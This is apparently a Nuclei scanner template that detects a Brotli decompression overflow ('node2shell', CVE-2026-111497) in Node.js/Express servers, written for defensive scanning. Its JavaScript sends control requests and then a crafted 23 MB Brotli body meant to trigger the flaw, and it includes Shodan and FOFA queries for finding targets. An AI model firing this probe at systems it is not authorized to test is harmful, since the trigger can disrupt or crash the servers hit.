id: CVE-2026-111497 info: name: Node.js Brotli Request-Body Integer Overflow (node2shell) - Remote Code Execution author: assetnote,DhiyaneshDk severity: critical description: | A buffer overflow vulnerability in the Brotli decoder (c/dec/decode.c) in Google Brotli versions 1.0.3 through 1.2.0 on all platforms allows a remote unauthenticated attacker to corrupt adjacent decoder state memory, disclose sensitive memory contents, cause a denial of service, or potentially execute arbitrary code using a crafted Brotli-compressed stream. Users need to update any Brotli libraries or binaries between 1.0.3 through 1.2.0 to the latest available version: 1.0.10 or 1.1.1 or 1.2.1. impact: | Remote attackers can corrupt memory, disclose sensitive data, cause denial of service, or execute arbitrary code remotely. remediation: | Update to version 1.0.10, 1.1.1, 1.2.1 or latest available version. reference: - https://github.com/assetnote/node2shell-scanner - https://www.slcyber.io/exposure - https://nvd.nist.gov/vuln/detail/CVE-2026-111497 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2026-111497 epss-score: 0.82641 epss-percentile: 0.99665 cwe-id: CWE-190 metadata: verified: true max-request: 6 vendor: nodejs product: node.js shodan-query: 'http.component:"Express"' fofa-query: 'header="X-Powered-By: Express"' tags: cve,cve2026,nodejs,express,brotli,overflow,rce,node2shell,js,vkev,kev variables: path: "/" javascript: - pre-condition: | (function () { var explicit = parseInt(tport, 10); var ports = explicit ? [explicit] : [443, 80]; for (var i = 0; i < ports.length; i++) { try { if (isPortOpen(thost, ports[i])) return true; } catch (e) {} } return false; })(); code: | (function () { const net = require("nuclei/net"); // 23,068,764-byte Brotli body (assetnote/node2shell), byte for byte; decompression pressure, never an executable payload const PREFIX = "8b000046a440861f6aaf2f0409414a104902a57a74f8fdaf473dea518f7ad4a31e"; const UNIT = "f5a8473dea518f7ad4a31e"; const REPS = (1 << 21) - 1; const PROBE_BYTES = 23068764; const VALID_BR = "3b"; // valid, empty Brotli stream const MALFORMED_BR = "ff"; // Brotli every decoder rejects const UNSUPPORTED = "78"; // "x", sent with Content-Encoding: x const UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 " + "(KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Node2Shell/1.0.0"; const READ_LIMIT = 1 << 18; const UPLOAD_REPS = 5957; const TIMEOUT = 30; let SUFFIX = "528fe207"; for (let i = 0; i < 65; i++) SUFFIX += "20"; SUFFIX += "03"; // binary-exponentiation concat; a naive += over 2M iterations is too slow function units(n) { let out = "", block = UNIT; while (n > 0) { if (n & 1) out += block; n >>= 1; if (n > 0) block += block; } return out; } // the javascript protocol hands us only host and port, so resolve transport by trying likely candidates once const TLS_PORTS = { 443: 1, 4443: 1, 8443: 1, 9443: 1, 10443: 1 }; const explicitPort = parseInt(tport, 10); const candidates = explicitPort ? [{ port: explicitPort, tls: TLS_PORTS[explicitPort] === 1 }, { port: explicitPort, tls: TLS_PORTS[explicitPort] !== 1 }] : [{ port: 443, tls: true }, { port: 80, tls: false }]; const route = (typeof tpath === "string" && tpath.charAt(0) === "/") ? tpath : "/"; let transport = candidates[0]; function hostHeader() { const bare = transport.port === (transport.tls ? 443 : 80); return bare ? thost : thost + ":" + transport.port; } function parseResponse(raw) { let s = raw; while (/^HTTP\/1\.[01] 1\d\d/.test(s)) { // skip 1xx interim from Expect: 100-continue const cut = s.indexOf("\r\n\r\n"); if (cut < 0) return null; s = s.substring(cut + 4); } const line = /^HTTP\/1\.[01] (\d{3})/.exec(s); if (!line) return null; const cut = s.indexOf("\r\n\r\n"); if (cut < 0) { return { status: parseInt(line[1], 10), ctype: "", body: "", done: false }; } const head = "\r\n" + s.substring(0, cut); const body = s.substring(cut + 4); const ct = /\r\ncontent-type:[ \t]*([^\r\n]*)/i.exec(head); const cl = /\r\ncontent-length:[ \t]*(\d+)/i.exec(head); const chunked = /\r\ntransfer-encoding:[^\r\n]*chunked/i.test(head); let done; if (cl) done = body.length >= parseInt(cl[1], 10); else if (chunked) done = body.indexOf("\r\n0\r\n\r\n") >= 0; else done = false; return { status: parseInt(line[1], 10), ctype: ct ? ct[1].trim().toLowerCase() : "", body: body, done: done }; } function attempt(contentEncoding, contentType, bodyHex, contentLength, probe) { const r = { error: null, status: null, ctype: "", body: "", sent: 0 }; let conn = null; try { conn = transport.tls ? net.OpenTLS("tcp", thost + ":" + transport.port) : net.Open("tcp", thost + ":" + transport.port); } catch (e) { r.error = "connect failed: " + e; return r; } try { conn.SetTimeout(TIMEOUT); let head = "POST " + route + " HTTP/1.1\r\n" + "Host: " + hostHeader() + "\r\n" + "User-Agent: " + UA + "\r\n" + "Accept-Encoding: identity\r\n" + "Content-Encoding: " + contentEncoding + "\r\n"; if (contentType) head += "Content-Type: " + contentType + "\r\n"; if (probe) head += "Expect: 100-continue\r\n"; // let a proxy reject the body before the 23 MB upload head += "Content-Length: " + contentLength + "\r\n" + "Connection: close\r\n\r\n"; conn.Send(head); if (probe) { // a patched server tears the socket down mid-stream, so a short write is a negative signal, not an error try { conn.SendHex(PREFIX); r.sent += PREFIX.length / 2; const block = units(UPLOAD_REPS); const whole = Math.floor(REPS / UPLOAD_REPS); const rest = REPS % UPLOAD_REPS; for (let i = 0; i < whole; i++) { conn.SendHex(block); r.sent += block.length / 2; } if (rest > 0) { const tail = units(rest); conn.SendHex(tail); r.sent += tail.length / 2; } conn.SendHex(SUFFIX); r.sent += SUFFIX.length / 2; } catch (e) {} } else { conn.SendHex(bodyHex); r.sent = bodyHex.length / 2; } let raw = ""; for (let i = 0; i < 512; i++) { let chunk = null; try { chunk = conn.RecvString(8192); } catch (e) { break; } if (!chunk || chunk.length === 0) break; raw += chunk; if (raw.length >= READ_LIMIT) break; const partial = parseResponse(raw); if (partial && partial.done) break; } const parsed = parseResponse(raw); if (!parsed) r.error = "no HTTP response"; else { r.status = parsed.status; r.ctype = parsed.ctype; r.body = parsed.body; } } catch (e) { if (!r.error) r.error = "" + e; } try { conn.Close(); } catch (e) {} return r; } // the first live request settles port and TLS for every request that follows let transportResolved = false; function send(contentEncoding, contentType, bodyHex, contentLength, probe) { if (transportResolved) { return attempt(contentEncoding, contentType, bodyHex, contentLength, probe); } let first = null; for (let i = 0; i < candidates.length; i++) { transport = candidates[i]; const r = attempt(contentEncoding, contentType, bodyHex, contentLength, probe); if (r.status !== null) { transportResolved = true; return r; } if (first === null) first = r; } transport = candidates[0]; transportResolved = true; return first; } function control(contentEncoding, contentType, bodyHex) { return send(contentEncoding, contentType, bodyHex, 1, false); } function same(a, b) { return a.error === null && b.error === null && a.status === b.status && a.ctype === b.ctype && a.body === b.body; } function matches(a, b, mode) { if (mode === "status") { return a.error === null && b.error === null && a.status === b.status; } return same(a, b); } function failed(stage, r) { return "node2shell: inconclusive | " + stage + " failed: " + r.error; } function nosignal(why) { return "node2shell: no-signal | " + why; } // does the endpoint decompress even without a JSON content type const bypass = control("br", null, MALFORMED_BR); if (bypass.error) return failed("content-type bypass control", bypass); // baseline for a body that decodes cleanly const valid = control("br", "application/json", VALID_BR); if (valid.error) return failed("valid Brotli control", valid); if (bypass.status !== valid.status) { return nosignal("content-type bypass and valid Brotli controls returned different statuses"); } // baseline for a Brotli decode failure const malformed = control("br", "application/json", MALFORMED_BR); if (malformed.error) return failed("malformed Brotli control", malformed); let mode = null; if (valid.status !== malformed.status) mode = "status"; else if (same(bypass, valid) && !same(valid, malformed)) mode = "exact-response"; if (!mode) { return nosignal("the controls did not establish distinct route and malformed-Brotli response classes"); } // an unhandled encoding must not look like the route, or the comparison is meaningless const unsupported = control("x", "application/json", UNSUPPORTED); if (unsupported.error) return failed("unsupported encoding control", unsupported); if (matches(unsupported, valid, mode)) { return nosignal("the unsupported encoding control matched the route response class"); } const probe = send("br", "application/json", null, PROBE_BYTES, true); if (probe.sent !== PROBE_BYTES) { return nosignal("the probe was not fully uploaded (" + probe.sent + "/" + PROBE_BYTES + " bytes)"); } if (probe.error) return failed("CVE probe", probe); // the endpoint survived and still answers the way it did before the probe const after = control("br", "application/json", VALID_BR); if (after.error) return failed("final valid Brotli control", after); if (!matches(valid, after, mode)) { return nosignal("the route response class changed after the probe"); } if (matches(probe, valid, mode)) { return "node2shell: VULNERABLE | CVE-2026-111497 | path=" + route + " | comparison=" + mode + " | probe=HTTP" + probe.status + " | reject=HTTP" + malformed.status; } if (matches(probe, malformed, mode)) { return nosignal("the probe reached the malformed-Brotli response class (HTTP " + probe.status + ")"); } return nosignal("the probe matched neither learned response class (HTTP " + probe.status + ")"); })() args: thost: "{{Host}}" tport: "{{Port}}" tpath: "{{path}}" matchers: - type: word words: - "node2shell: VULNERABLE" # digest: 4a0a00473045022100fc5c7ac8f8667f2a515537b60b45983c2747d4ad720c701640258dda445e0b67022042f5a7e3e31ddf00b6db4f64aba438288f20867c416880f8af499aae946affe1:922c64590222798bb761d5b6d8e72950